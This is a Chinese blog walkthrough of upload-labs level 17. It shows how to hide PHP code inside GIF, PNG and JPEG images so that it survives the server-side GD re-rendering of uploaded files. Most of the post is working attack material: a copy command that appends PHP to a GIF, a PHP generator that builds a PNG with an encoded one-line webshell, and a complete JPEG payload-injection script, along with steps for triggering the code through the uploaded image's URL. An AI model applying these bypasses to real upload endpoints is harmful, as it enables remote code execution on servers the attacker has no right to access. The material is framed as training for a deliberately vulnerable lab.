制作图片马:二次渲染(upload-labs第17关)

代码分析

bash 复制代码
$im = imagecreatefromjpeg($target_path);

在本关的代码中这个imagecreatefromjpeg();函数起到了将上传的图片打乱并重新组合。这就意味着在制作图片马的时候要将木马插入到图片没有被改变的部分。

gif

gif图的特点是无损,我们可以对比上传前后图片的内容字节,在渲染后不会被修改的部分插入木马。推荐使用010editor来比较两个图片的不用之处来插入一句话木马

  1. 创建php文件和jif图片
bash 复制代码
<?php phpinfo() ?>;
  1. 将php代码和gif图片整合在一起
bash 复制代码
copy 3.gif /b + web.php /a xh.gif //切换到相应的目录在windows命令行里面切换到相应的目录然后输入命令。
  1. 使用010 Editor16进制编辑器查看2.gif内容,可以看出php代码已经插入图片马中了:
  2. 上传制作好的图片并下载查看

    发现插入的木马不在了
    GIF绕过二次渲染的方法,就是通过对比上传前和上传后的两个文件,如果说哪个位置,它的上传前和上传后的没有变,我们就把php一句话代码插入到这个位置
  3. 比较两个图片,在不变的位置插入一句话木马
  4. 再次上传图片

复制上传后图片的链接并输入到浏览器的url中会发现执行了一句话木马

png

png图片的特点是:PNG的文件格式有个特性,就是在IDAT(图像数块)开始的地方写入字符串等等不会损坏图片的显示(一般改完都是一片黑)。

  1. 利用脚本生成一个png格式的图片马
bash 复制代码
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./xh.png');
?>

运行之后在左侧生成一个图片

  1. 查看图片

    生成了一段一句话木马
  2. 上传图片,并查看图片的源码

    对比两个图片发现在上传之后并没有将一句话木马打乱。

gpj图片

gpj图片非常的易损,制作困难对选取的图片也有一定的要求,一定要多试。

  1. 利用脚本生成一个图片马
bash 复制代码
<?php
    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

上述代码实现了一个包含隐藏恶意payload的JPG图像注入技术。具体来说,这个脚本会尝试在指定的JPEG图像文件中插入恶意PHP代码,并通过添加空字节的方式进行隐藏。一旦成功将恶意payload注入到图像中并成功验证,就会输出'Success!'。

推荐使用证件照来上传,本人在测试的时候用证件照在插入php代码的时候图片没有损坏可以上传

  1. 首先找一张jpg的图片上传到服务器上
  2. 将传上去的图片保存到本地
  3. 在本地cmd执行 php demo.php (上述写的代码) 21790.gpj (在服务器下载的图片)
  4. 执行命令后会在本地生成一个新的gpj图片生成的图片命令格式通常为playload_*.jpg
  5. 再次上传新生成的图片,当图片上传成功后复制其链接输入到浏览器的url中

    制作不易:还望客官多多担待。
相关推荐
莳花微语3 分钟前
oracle如何配置第二个监听优化数据传输
数据库·oracle·php
明天再做行么1 小时前
PHP8解析php技术10个新特性
android·php
Elihuss7 小时前
ONVIF协议操作摄像头方法
开发语言·php
hopetomorrow1 天前
学习路之PHP--使用GROUP BY 发生错误 SELECT list is not in GROUP BY clause .......... 解决
开发语言·学习·php
网络安全-杰克1 天前
网络安全概论
网络·web安全·php
不是二师兄的八戒1 天前
本地 PHP 和 Java 开发环境 Docker 化与配置开机自启
java·docker·php
黑客Ela1 天前
网络安全中常用浏览器插件、拓展
网络·安全·web安全·网络安全·php
蝶开三月1 天前
php:使用socket函数创建WebSocket服务
网络·websocket·网络协议·php·socket
Ai 编码助手1 天前
使用php和Xunsearch提升音乐网站的歌曲搜索效果
开发语言·php
wkj0011 天前
php操作redis
开发语言·redis·php